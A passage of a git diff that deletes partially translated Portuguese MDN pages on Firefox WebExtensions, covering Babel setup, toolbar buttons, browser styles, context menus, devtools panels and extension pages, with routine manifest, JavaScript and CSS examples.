-<p>Esta paginas contêm varias dicas e truques que deve ser útil para muitas pessoas devenvolvendo extensões usando WebExtension APIs.</p>
-
-<h2 id="Usando_recursos_avancados_do_ECMAScript_2015_e_2016.">Usando recursos avancados do ECMAScript 2015 e 2016.</h2>
-
-<p>Firefox <a href="/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">suporta muitos recursos do ECMAScript 2015</a> fora da box. Diversas novidades e recursos experimental, contanto entretanto, não estão disponiveis por padrão para a Web ou WebExtensions. Se você quer usar esses recursos,  é melhor transpilar seu codigo usando uma ferramenta como o <a href="https://babeljs.io/">Babel</a>.</p>
-
-<p>Cuidado que qualquer coisa abalixo desta linha é informação desatualizada e tem sido removida do Babel 6.</p>
-
-<p>Babel fornece transformações para a grande maioria dos recursos do ES2015, e os habilita por padrão. Uma vez que o Firefox já suporta totalmente a maiorias dessas, é melhor configurar Babel para ignorar-lá. Nós sugerimos criando um arquivo <code>.babelrc</code>, ou uma seção <code>babel</code> em seu arquivo de projeto <code>package.json</code> contendo o seguinte:</p>
-
-<pre class="brush: js">{
- "env": {
- "firefox": {
- "sourceMaps": "inline",
- "blacklist": [
- "es5.properties.mutators",
- "es6.arrowFunctions",
- "es6.destructuring",
- "es6.forOf",
- "es6.parameters",
- "es6.properties.computed",
- "es6.properties.shorthand",
- "es6.spec.symbols",
- "es6.spread",
- "es6.tailCall",
- "es6.templateLiterals",
- "es6.regex.sticky",
- "es6.regex.unicode"
- ]
- }
- }
-}
-</pre>
-
-<p>Então, para compilar um script individual simplesmente, execute:</p>
-
-<pre class="brush: sh">BABEL_ENV=firefox babel &lt;filename&gt;
-</pre>
-
-<p>Ou, para compilar cada arquivo JavaScript dentro do diretório <code>src</code> e colocar os arquivos compilados em <code>compiled</code>, copiando arquivos não-JavaScript no processo, executadno:</p>
-
-<pre class="brush: sh">BABEL_ENV=firefox babel -Dd compiled src
-</pre>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_action/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_action/index.html
deleted file mode 100644
index 421dffbb28..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_action/index.html
+++ /dev/null
@@ -1,51 +0,0 @@
----
-title: Botão da Barra de Ferramentas
-slug: Mozilla/Add-ons/WebExtensions/user_interface/Browser_action
-tags:
- - Extensão da Web
-translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Browser_action
-original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Ação_navegador
----
-<div>{{AddonSidebar}}</div>
-
-<p>Normalmente referido como uma <a href="/pt-PT/Add-ons/WebExtensions/API/browserAction">ação do navegador</a>, esta opção da interface do utilizador é um botão adicionado à barra de ferramentas do navegador. Os utilizadores clicam no botão para interagir com a sua extensão.<br>
- <img alt="" src="https://mdn.mozillademos.org/files/15751/browser-action.png" style="display: block; height: 182px; margin-left: auto; margin-right: auto; width: 350px;"></p>
-
-<p>The toolbar button (browser action) is very like the address bar button (page action). For the differences, and guidance on when to use what, see <a href="/en-US/Add-ons/WebExtensions/user_interface/Page_actions#Page_actions_and_browser_actions">Page actions and browser actions</a>.</p>
-
-<h2 id="Especificar_a_ação_do_navegador">Especificar a ação do navegador</h2>
-
-<p>Define as propriedades da ação do navegador utilizando a chave <code><a href="/pt-PT/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> em manifest.json:</p>
-
-<pre class="brush: json line-numbers language-json"><code class="language-json"><span class="key token">"browser_action":</span> <span class="punctuation token">{</span>
- <span class="key token">"default_icon":</span> <span class="punctuation token">{</span>
- <span class="key token">"19":</span> <span class="string token">"button/geo-19.png"</span><span class="punctuation token">,</span>
- <span class="key token">"38":</span> <span class="string token">"button/geo-38.png"</span>
- <span class="punctuation token">}</span><span class="punctuation token">,</span>
- <span class="key token">"default_title":</span> <span class="string token">"Whereami?"</span>
-<span class="punctuation token">}</span></code></pre>
-
-<p>The only mandatory key is <code>default_icon</code>.</p>
-
-<p>There are two ways to specify a browser action: with or without a <a href="/en-US/Add-ons/WebExtensions/Popups">popup</a>. If you don't specify a popup, when the user clicks the button an event is dispatched to the extension, which the extension listens for using <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/BrowserAction/onClicked" title="Fired when a browser action icon is clicked. This event will not fire if the browser action has a popup."><code>browserAction.onClicked</code></a>:</p>
-
-<pre class="brush: js line-numbers language-js"><code class="language-js">browser<span class="punctuation token">.</span>browserAction<span class="punctuation token">.</span>onClicked<span class="punctuation token">.</span><span class="function token">addListener</span><span class="punctuation token">(</span>handleClick<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
-
-<p>If you specify a popup, the click event is not dispatched: instead, the popup is shown when the user clicks the button. The user is able to interact with the popup and it closes automatically when the user clicks outside it. See the <a href="/en-US/Add-ons/WebExtensions/Popups">Popup </a>article for more details on creating and managing popups.</p>
-
-<p>Note that your extension can have only one browser action.</p>
-
-<p>You can change any of the browser action properties programmatically using the <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browserAction</a></code> API.</p>
-
-<h2 id="Ícones">Ícones</h2>
-
-<p>For details on how to create icons to use with your browser action, see <a href="https://design.firefox.com/photon/visuals/iconography.html">Iconography</a> in the <a class="grey-90 no-underline hover-no-underline" href="https://design.firefox.com/photon/index.html">Photon Design System</a> documentation.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>The <a href="https://github.com/mdn/webextensions-examples">webextensions-examples</a> repository on GitHub contains two examples of extensions that implement browser actions:</p>
-
-<ul>
- <li><a href="https://github.com/mdn/webextensions-examples/blob/master/bookmark-it/">bookmark-it</a> uses a browser action without a popup.</li>
- <li><a href="https://github.com/mdn/webextensions-examples/tree/master/beastify">beastify</a> uses a browser action with a popup.</li>
-</ul>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_styles/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_styles/index.html
deleted file mode 100644
index 233cf4ff31..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_styles/index.html
+++ /dev/null
@@ -1,454 +0,0 @@
----
-title: Estilos de navegador
-slug: Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles
-tags:
- - Extensões
- - Extensões da Web
- - Extras
-translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles
-original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Estilos_de_navegador
----
-<div>{{AddonSidebar}}</div>
-
-<p>Certain user interface components - browser and page action <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups">popups</a>, <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars">sidebars</a>, and <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/user_interface/Options_pages">options pages</a> - are specified by your extension in essentially the same way:</p>
-
-<ol>
- <li>create an HTML file defining the structure of the UI element</li>
- <li>add a manifest.json key (<code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code>, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/page_action">page_action</a></code>, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/sidebar_action">sidebar_action</a></code>, or <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/options_ui">options_ui</a></code>) pointing to that HTML file.</li>
-</ol>
-
-<p>One of the challenges with this approach is styling the element in such a way that it fits in with the browser's own style. To help with this, the manifest.json keys include an extra optional property: <code>browser_style</code>. If this is included and set to <code>true</code>, then your document will get one or more extra stylesheets that will help make it look consistent with the browser's UI and with other extensions that use the <code>browser_style</code> property.</p>
-
-<p>In Firefox, the stylesheet can be seen at <code>chrome://browser/content/extension.css</code>. The extra stylesheet at <code>chrome://browser/content/extension-mac.css</code> is also included on OS X.</p>
-
-<p>Most styles are automatically applied, but some elements require you to add the <span style="white-space: nowrap;">non-​standard</span> <code style="white-space: nowrap;">browser-style</code> class to get their styling since Firefox 55, as detailed in the table below:</p>
-
-<table class="fullwidth-table standard-table">
- <thead>
- <tr>
- <th scope="col">Elemento</th>
- <th scope="col">Exemplo</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code><a href="/en-US/docs/Web/HTML/Element/button">&lt;button&gt;</a></code></td>
- <td>
- <pre class="brush: html no-line-numbers">
-&lt;button class="browser-style"&gt;Click me&lt;/button&gt;{{non-standard_inline}}</pre>
- </td>
- </tr>
- <tr>
- <td>
- <p><code><a href="/en-US/docs/Web/HTML/Element/select">&lt;select&gt;</a></code></p>
- </td>
- <td>
- <pre class="brush: html no-line-numbers">
-&lt;select class="browser-style" name="select"&gt;
- &lt;option value="value1"&gt;Value 1&lt;/option&gt;
- &lt;option value="value2" selected&gt;Value 2&lt;/option&gt;
- &lt;option value="value3"&gt;Value 3&lt;/option&gt;
-&lt;/select&gt;</pre>
- </td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/HTML/Element/textarea">&lt;textarea&gt;</a></code></td>
- <td>
- <pre class="brush: html no-line-numbers">
-&lt;textarea class="browser-style"&gt;Write here&lt;/textarea&gt;</pre>
- </td>
- </tr>
- <tr>
- <td>Parent of an <code><a href="/en-US/docs/Web/HTML/Element/input">&lt;input&gt;</a></code></td>
- <td>
- <pre class="brush: html no-line-numbers">
-&lt;div class="browser-style"&gt;
- &lt;input type="radio" id="op1" name="choices" value="op1"&gt;
- &lt;label for="op1"&gt;Option 1&lt;/label&gt;
-
- &lt;input type="radio" id="op2" name="choices" value="op2"&gt;
- &lt;label for="op2"&gt;Option 2&lt;/label&gt;
-&lt;/div&gt;</pre>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-
-
-<p>{{Compat("webextensions.browser_style")}}</p>
-
-<h2 id="Componentes_de_Painel_do_Firefox">Componentes de Painel do Firefox</h2>
-
-<div class="overheadIndicator nonStandard nonStandardHeader">
-<p><strong>{{NonStandardBadge(1)}} Non-Standard</strong><br>
- This feature is non-standard and only works in Firefox.</p>
-</div>
-
-<p>The <code>chrome://browser/content/extension.css</code> stylesheet also contains the styles for the Firefox Panel Components.</p>
-
-<p>The <a href="https://firefoxux.github.io/StyleGuide/#/navigation">legacy Firefox Style Guide</a> documents proper usage.</p>
-
-<table class="fullwidth-table standard-table">
- <thead>
- <tr>
- <th scope="col">Elemento</th>
- <th scope="col">Exemplo</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>Cabeçalho</td>
- <td>
- <pre class="brush: html">
-&lt;header class="panel-section panel-section-header"&gt;
- &lt;div class="icon-section-header"&gt;&lt;img src="image.svg"/&gt;&lt;/div&gt;
- &lt;div class="text-section-header"&gt;Header&lt;/div&gt;
-&lt;/header&gt;</pre>
- </td>
- </tr>
- <tr>
- <td>Rodapé</td>
- <td>
- <pre class="brush: html">
-&lt;footer class="panel-section panel-section-footer"&gt;
- &lt;button class="panel-section-footer-button"&gt;Cancel&lt;/button&gt;
- &lt;div class="panel-section-footer-separator"&gt;&lt;/div&gt;
- &lt;button class="panel-section-footer-button default"&gt;Confirm&lt;/button&gt;
-&lt;/footer&gt;</pre>
- </td>
- </tr>
- <tr>
- <td>Separadores</td>
- <td>
- <pre class="brush: html">
-&lt;div class="panel-section panel-section-tabs"&gt;
- &lt;button class="panel-section-tabs-button selected"&gt;Tab&lt;/button&gt;
- &lt;div class="panel-section-tabs-separator"&gt;&lt;/div&gt;
- &lt;button class="panel-section-tabs-button"&gt;Tab&lt;/button&gt;
- &lt;div class="panel-section-tabs-separator"&gt;&lt;/div&gt;
- &lt;button class="panel-section-tabs-button"&gt;Tab&lt;/button&gt;
-&lt;/div&gt;</pre>
- </td>
- </tr>
- <tr>
- <td>Form</td>
- <td>
- <pre class="brush: html">
-&lt;div class="panel-section panel-section-formElements"&gt;
- &lt;div class="panel-formElements-item"&gt;
- &lt;label for="name01"&gt;Label:&lt;/label&gt;
- &lt;input type="text" value="Name" id="name01" /&gt;
- &lt;/div&gt;
- &lt;div class="panel-formElements-item"&gt;
- &lt;label for="picker01"&gt;Label:&lt;/label&gt;
- &lt;select id="picker01"&gt;
- &lt;option value="value1" selected="true"&gt;Dropdown&lt;/option&gt;
- &lt;option value="value2"&gt;List Item&lt;/option&gt;
- &lt;option value="value3"&gt;List Item&lt;/option&gt;
- &lt;/select&gt;
- &lt;/div&gt;
- &lt;div class="panel-formElements-item"&gt;
- &lt;label for="placeholder01"&gt;Label:&lt;/label&gt;
- &lt;input type="text" placeholder="Placeholder" id="placeholder01" /&gt;
- &lt;button name="expander" class="expander"&gt;&lt;/button&gt;
- &lt;/div&gt;
-&lt;/div&gt;</pre>
- </td>
- </tr>
- <tr>
- <td>Menu</td>
- <td>
- <pre class="brush: html">
-&lt;div class="panel-section panel-section-list"&gt;
- &lt;div class="panel-list-item"&gt;
- &lt;div class="icon"&gt;&lt;/div&gt;
- &lt;div class="text"&gt;List Item&lt;/div&gt;
- &lt;div class="text-shortcut"&gt;Ctrl-L&lt;/div&gt;
- &lt;/div&gt;
-
- &lt;div class="panel-list-item"&gt;
- &lt;div class="icon"&gt;&lt;/div&gt;
- &lt;div class="text"&gt;List Item&lt;/div&gt;
- &lt;div class="text-shortcut"&gt;&lt;/div&gt;
- &lt;/div&gt;
-
- &lt;div class="panel-section-separator"&gt;&lt;/div&gt;
-
- &lt;div class="panel-list-item disabled"&gt;
- &lt;div class="icon"&gt;&lt;/div&gt;
- &lt;div class="text"&gt;Disabled List Item&lt;/div&gt;
- &lt;div class="text-shortcut"&gt;&lt;/div&gt;
- &lt;/div&gt;
-
- &lt;div class="panel-section-separator"&gt;&lt;/div&gt;
-
- &lt;div class="panel-list-item"&gt;
- &lt;div class="icon"&gt;&lt;/div&gt;
- &lt;div class="text"&gt;List Item&lt;/div&gt;
- &lt;div class="text-shortcut"&gt;&lt;/div&gt;
- &lt;/div&gt;
-
- &lt;div class="panel-list-item"&gt;
- &lt;div class="icon"&gt;&lt;/div&gt;
- &lt;div class="text"&gt;List Item&lt;/div&gt;
- &lt;div class="text-shortcut"&gt;&lt;/div&gt;
- &lt;/div&gt;
-&lt;/div&gt;</pre>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Exemplo">Exemplo</h3>
-
-<h4 id="HTML">HTML</h4>
-
-<pre class="brush: html">&lt;header class="panel-section panel-section-header"&gt;
- &lt;div class="icon-section-header"&gt;&lt;!-- An image goes here. --&gt;&lt;/div&gt;
- &lt;div class="text-section-header"&gt;Header&lt;/div&gt;
-&lt;/header&gt;
-
-&lt;div class="panel-section panel-section-list"&gt;
- &lt;div class="panel-list-item"&gt;
- &lt;div class="icon"&gt;&lt;/div&gt;
- &lt;div class="text"&gt;List Item&lt;/div&gt;
- &lt;div class="text-shortcut"&gt;Ctrl-L&lt;/div&gt;
- &lt;/div&gt;
-
- &lt;div class="panel-list-item"&gt;
- &lt;div class="icon"&gt;&lt;/div&gt;
- &lt;div class="text"&gt;List Item&lt;/div&gt;
- &lt;div class="text-shortcut"&gt;&lt;/div&gt;
- &lt;/div&gt;
-
- &lt;div class="panel-section-separator"&gt;&lt;/div&gt;
-
- &lt;div class="panel-list-item disabled"&gt;
- &lt;div class="icon"&gt;&lt;/div&gt;
- &lt;div class="text"&gt;Disabled List Item&lt;/div&gt;
- &lt;div class="text-shortcut"&gt;&lt;/div&gt;
- &lt;/div&gt;
-
- &lt;div class="panel-section-separator"&gt;&lt;/div&gt;
-
- &lt;div class="panel-list-item"&gt;
- &lt;div class="icon"&gt;&lt;/div&gt;
- &lt;div class="text"&gt;List Item&lt;/div&gt;
- &lt;div class="text-shortcut"&gt;&lt;/div&gt;
- &lt;/div&gt;
-
- &lt;div class="panel-list-item"&gt;
- &lt;div class="icon"&gt;&lt;/div&gt;
- &lt;div class="text"&gt;List Item&lt;/div&gt;
- &lt;div class="text-shortcut"&gt;&lt;/div&gt;
- &lt;/div&gt;
-&lt;/div&gt;
-
-&lt;footer class="panel-section panel-section-footer"&gt;
- &lt;button class="panel-section-footer-button"&gt;Cancel&lt;/button&gt;
- &lt;div class="panel-section-footer-separator"&gt;&lt;/div&gt;
- &lt;button class="panel-section-footer-button default"&gt;Confirm&lt;/button&gt;
-&lt;/footer&gt;</pre>
-
-<div class="hidden">
-<h4 id="CSS">CSS</h4>
-
-<pre class="brush: css">/* Global */
-html,
-body {
- background: white;
- box-sizing: border-box;
- color: #222426;
- cursor: default;
- display: flex;
- flex-direction: column;
- font: caption;
- margin: 0;
- padding: 0;
- -moz-user-select: none;
-}
-
-body * {
- box-sizing: border-box;
- text-align: start;
-}
-
-button.panel-section-footer-button,
-button.panel-section-tabs-button {
- color: inherit;
- background-color: unset;
- font: inherit;
- text-shadow: inherit;
- -webkit-appearance: none;
- -moz-appearance: none;
- appearance: none;
- border: none;
-}
-
-/* Panel Section */
-.panel-section {
- display: flex;
- flex-direction: row;
-}
-
-.panel-section-separator {
- background-color: rgba(0, 0, 0, 0.15);
- min-height: 1px;
-}
-
-/* Panel Section - Header */
-.panel-section-header {
- border-bottom: 1px solid rgba(0, 0, 0, 0.15);
- padding: 16px;
-}
-
-.panel-section-header &gt; .icon-section-header {
- background-position: center center;
- background-repeat: no-repeat;
- height: 32px;
- margin-right: 16px;
- position: relative;
- width: 32px;
-}
-
-.panel-section-header &gt; .text-section-header {
- align-self: center;
- font-size: 1.385em;
- font-weight: lighter;
-}
-
-/* Panel Section - List */
-.panel-section-list {
- flex-direction: column;
- padding: 4px 0;
-}
-
-.panel-list-item {
- align-items: center;
- display: flex;
- flex-direction: row;
- height: 24px;
- padding: 0 16px;
-}
-
-.panel-list-item:not(.disabled):hover {
- background-color: rgba(0, 0, 0, 0.06);
- border-bottom: 1px solid rgba(0, 0, 0, 0.1);
- border-top: 1px solid rgba(0, 0, 0, 0.1);
-}
-
-.panel-list-item:not(.disabled):hover:active {
- background-color: rgba(0, 0, 0, 0.1);
-}
-
-.panel-list-item.disabled {
- color: #999;
-}
-
-.panel-list-item &gt; .icon {
- flex-grow: 0;
- flex-shrink: 0;
-}
-
-.panel-list-item &gt; .text {
- flex-grow: 10;
-}
-
-.panel-list-item &gt; .text-shortcut {
- color: #808080;
- font-family: "Lucida Grande", caption;
- font-size: .847em;
- justify-content: flex-end;
-}
-
-.panel-section-list .panel-section-separator {
- margin: 4px 0;
-}
-
-/* Panel Section - Footer */
-.panel-section-footer {
- background-color: rgba(0, 0, 0, 0.06);
- border-top: 1px solid rgba(0, 0, 0, 0.15);
- color: #1a1a1a;
- display: flex;
- flex-direction: row;
- height: 41px;
- margin-top: -1px;
- padding: 0;
-}
-
-.panel-section-footer-button {
- flex: 1 1 auto;
- height: 100%;
- margin: 0 -1px;
- padding: 12px;
- text-align: center;
-}
-
-.panel-section-footer-button &gt; .text-shortcut {
- color: #808080;
- font-family: "Lucida Grande", caption;
- font-size: .847em;
-}
-
-.panel-section-footer-button:hover {
- background-color: rgba(0, 0, 0, 0.06);
-}
-
-.panel-section-footer-button:hover:active {
- background-color: rgba(0, 0, 0, 0.1);
-}
-
-.panel-section-footer-button.default {
- background-color: #0996f8;
- box-shadow: 0 1px 0 #0670cc inset;
- color: #fff;
-}
-
-.panel-section-footer-button.default:hover {
- background-color: #0670cc;
- box-shadow: 0 1px 0 #005bab inset;
-}
-
-.panel-section-footer-button.default:hover:active {
- background-color: #005bab;
- box-shadow: 0 1px 0 #004480 inset;
-}
-
-.panel-section-footer-separator {
- background-color: rgba(0, 0, 0, 0.1);
- width: 1px;
- z-index: 99;
-}</pre>
-
-<hr>
-<pre class="brush: css">/* Example specific – not part of chrome://browser/content/extension.css */
-body {
- background: #fcfcfc;
- background-clip: padding-box;
- border: 1px solid rgba(24,26,27,.2);
- box-shadow: 0 3px 5px rgba(24,26,27,.1),0 0 7px rgba(24,26,27,.1);
- box-sizing: content-box;
- margin: 2em auto .5em;
- width: 384px;
-}
-
-html {
- min-height: 100vh;
-}
-
-html &gt; body {
- margin: auto;
-}
-
-.icon-section-header {
- background-image: url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgdmlld0JveD0iMCAwIDMyIDMyIj48Y2lyY2xlIGZpbGw9IiMzNjM5NTkiIGN4PSIxNSIgY3k9IjE1IiByPSIxNSIvPjwvc3ZnPg==");
-}</pre>
-</div>
-
-<h4 id="Result">Result</h4>
-
-<p>{{EmbedLiveSample("Example","640","360")}}</p>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.html
deleted file mode 100644
index bf69421558..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.html
+++ /dev/null
@@ -1,52 +0,0 @@
----
-title: Itens do menu de contexto
-slug: Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items
-tags:
- - Extensões da Web
-translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items
-original_slug: >-
- Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Itens_do_menu_de_contexto
----
-<div>{{AddonSidebar}}</div>
-
-<div>
-<p>Essa opção da interface do utilizador adiciona um ou mais itens a um menu de contexto do navegador.</p>
-
-<p><img alt="Example of content menu items added by a WebExtension, from the context-menu-demo example" src="https://mdn.mozillademos.org/files/15051/context_menu_example.png" style="display: block; height: 587px; margin-left: auto; margin-right: auto; width: 573px;"></p>
-
-<p>You would use this option to expose features that are relevant to specific browser or web page contexts. For example, you could show features to open a graphic editor when the user clicks on an image or offer a feature to save page content when part of a page is selected. You can add plain menu items, checkbox items, radio button groups, and separators to menus. Once a context menu item has been added using {{WebExtAPIRef("contextMenus.create")}} it's displayed in all browser tabs, but you can hide it by removing it with {{WebExtAPIRef("contextMenus.remove")}}.</p>
-
-<h2 id="Especificar_itens_do_menu_de_contexto">Especificar itens do menu de contexto</h2>
-
-<p>You manage context menu items programmatically, using the {{WebExtAPIRef("contextMenus")}} API. However, you need to request the <code>contextMenus</code> permission in your manifest.json to be able to take advantage of the API.</p>
-
-<pre class="brush: json">"permissions": ["contextMenus"]</pre>
-
-<p>You can then add (and update or delete) the context menu items in your extension's background script. To create a menu item you specify an id, its title, and the context menus it should appear on:</p>
-
-<pre class="brush: js">browser.contextMenus.create({
- id: "log-selection",
- title: browser.i18n.getMessage("contextMenuItemSelectionLogger"),
- contexts: ["selection"]
-}, onCreated);</pre>
-
-<p>Your extension then listens for clicks on the menu items. The passed information about the item clicked, the context where the click happened, and details of the tab where the click took place can then be used to invoke the appropriate extension functionality.</p>
-
-<pre class="brush: js">browser.contextMenus.onClicked.addListener(function(info, tab) {
- switch (info.menuItemId) {
- case "log-selection":
- console.log(info.selectionText);
- break;
- ...
- }
-})</pre>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>O repositório de <a class="external external-icon" href="https://github.com/mdn/webextensions-examples">wexemplos das Extensões da Web </a>no GitHub, contém vários exemplos de extensões que utilizam os itens do menu de contexto:</p>
-
-<ul>
- <li><a href="https://github.com/mdn/webextensions-examples/tree/master/menu-demo">menu-demo</a> adds several items to the browser's context menu.</li>
- <li><a href="https://github.com/mdn/webextensions-examples/tree/master/context-menu-copy-link-with-types">context-menu-copy-link-with-types</a> adds a context menu item to links that copies the URL to the clipboard, as plain text and rich HTML.</li>
-</ul>
-</div>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.html
deleted file mode 100644
index ffd1b942af..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.html
+++ /dev/null
@@ -1,63 +0,0 @@
----
-title: Painéis das ferramentas de desenvolvimento
-slug: Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels
-tags:
- - Extensões da Web
- - Guía
- - Interface do Utilizador
- - Principiante
-translation_of: Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels
-original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/devtools_panels
----
-<div>{{AddonSidebar}}</div>
-
-<div class="note">
-<p>Esta funcionalidade está disponível desde o Firefox 54.</p>
-</div>
-
-<p>Quando uma extensão fornece ferramentas que são úteis para os programadores, é possível adicionar uma IU para as mesmas para as ferramentas de desenvolvimento do navegador como um novo painel.</p>
-
-<p><img alt='Simple example showing the addition of "My panel" to the Developer Tools tabs.' src="https://mdn.mozillademos.org/files/15035/devtools_panel_example.png" style="height: 352px; width: 1192px;"></p>
-
-<h2 id="Especificar_um_painel_de_ferramentas_de_desenvolvimento">Especificar um painel de ferramentas de desenvolvimento</h2>
-
-<p>Um painél das ferramentas de desenvovlimento é adicionado utilizando a API <code><a href="/pt-PT/Add-ons/WebExtensions/API/devtools.panels">devtools.panels</a></code>, que precisa de ser executada a partir de uma página de <em>devtools</em> especial.</p>
-
-<p>Adicione a páginas de devtools, incluindo a chave <code><a href="/pt-PT/Add-ons/WebExtensions/manifest.json/devtools_page">devtools_page</a></code> na extensão de <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a> e forneça a localização do ficheiro HTML da página na extensão:</p>
-
-<pre class="brush: json line-numbers language-json"><code class="language-json"><span class="key token">"devtools_page":</span> <span class="string token">"devtools-page.html"</span></code></pre>
-
-<p>From the devtools page, call a script that will add the devtools panel:</p>
-
-<pre class="brush: html">&lt;body&gt;
-  &lt;script src="devtools.js"&gt;&lt;/script&gt;
-&lt;/body&gt;</pre>
-
-<p>In the script, create the devtools panel by specifying the panel's title, icon, and HTML file that provides the panel's content:</p>
-
-<pre class="brush: js">function handleShown() {
- console.log("panel is being shown");
-}
-
-function handleHidden() {
- console.log("panel is being hidden");
-}
-
-browser.devtools.panels.create(
- "My Panel", // title
- "icons/star.png", // icon
- "devtools/panel/panel.html" // content
-).then((newPanel) =&gt; {
- newPanel.onShown.addListener(handleShown);
- newPanel.onHidden.addListener(handleHidden);
-});</pre>
-
-<p>The extension can now run code in the inspected window using <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/eval"><code>devtools</code>.inspectedWindow.eval()</a></code> or by injecting a content script via the background script by passing a message. You can find more details on how to do this in <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools">Extending the developer tools.</a></p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>The <a href="https://github.com/mdn/webextensions-examples">webextensions-examples</a> repo on GitHub, contains several examples of extensions that use devtools panels:</p>
-
-<ul>
- <li><a href="https://github.com/mdn/webextensions-examples/blob/master/devtools-panels/">devtools-panels</a> use devtools panels:</li>
-</ul>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/extension_pages/index.html b/files/pt-pt/mozilla/add-ons/webextensions/user_interface/extension_pages/index.html
deleted file mode 100644
index bea67ee60c..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/user_interface/extension_pages/index.html
+++ /dev/null
@@ -1,65 +0,0 @@
----
-title: Páginas de extensão
-slug: Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages
-translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages
-original_slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Paginas_de_extensão
----
-<div>{{AddonSidebar()}}</div>
-
-<p>Pode inclur páginas html na sua extensão para fornecer formulários, ajuda, ou qualquer outro conteúdo que a sua extensão precisar.</p>
-
-<p><img alt="Example of a simple bundled page displayed as a detached panel." src="https://mdn.mozillademos.org/files/15752/bundled_page_as_panel_small.png" style="display: block; height: 216px; margin-left: auto; margin-right: auto; width: 350px;"></p>
-
-<p>These pages also get access to the same privileged JavaScript APIs that are available to your extension's background scripts.</p>
-
-<h2 id="Especificar_páginas_de_extensão">Especificar páginas de extensão</h2>
-
-<p>You can include HTML files, and their associated CSS or JavaScript files, in your extension. The files can be included in the root or organized within meaningful sub-folders.</p>
-
-<pre>/my-extension
- /manifest.json
- /my-page.html
- /my-page.js</pre>
-
-<h2 id="Exibir_páginas_de_extensão">Exibir páginas de extensão</h2>
-
-<p>There are two options for displaying extension pages: {{WebExtAPIRef("windows.create()")}} and {{WebExtAPIRef("tabs.create()")}}.</p>
-
-<p>Using <code>windows.create()</code>, for example, you can open an HTML page into a detached panel (a window without the normal browser UI of address bar, bookmark bar, and alike) to create a dialog-like user experience:</p>
-
-<pre class="brush: js">var createData = {
- type: "detached_panel",
- url: "panel.html",
- width: 250,
- height: 100
-};
-var creating = browser.windows.create(createData);</pre>
-
-<p>When the window is no longer needed, it can be closed programmatically, for example, after the user clicks a button, by passing the id of the current window to {{WebExtAPIRef("windows.remove()")}}:</p>
-
-<pre class="brush: js">document.getElementById("closeme").addEventListener("click", function(){
- var winId = browser.windows.WINDOW_ID_CURRENT;
- var removing = browser.windows.remove(winId);
-}); </pre>
-
-<h2 id="Páginas_de_extensão_e_histório">Páginas de extensão e histório</h2>
-
-<p>By default, pages you open in this way will be stored in the user's history, just like normal web pages. If you don't want to have this behavior, use {{WebExtAPIRef("history.deleteUrl()")}} to remove the browser's record:</p>
-
-<pre class="comment-text " id="ct-4">function onVisited(historyItem) {
- if (historyItem.url == browser.extension.getURL(myPage)) {
- browser.history.deleteUrl({url: historyItem.url});
- }
-}
-
-browser.history.onVisited.addListener(onVisited);</pre>
-
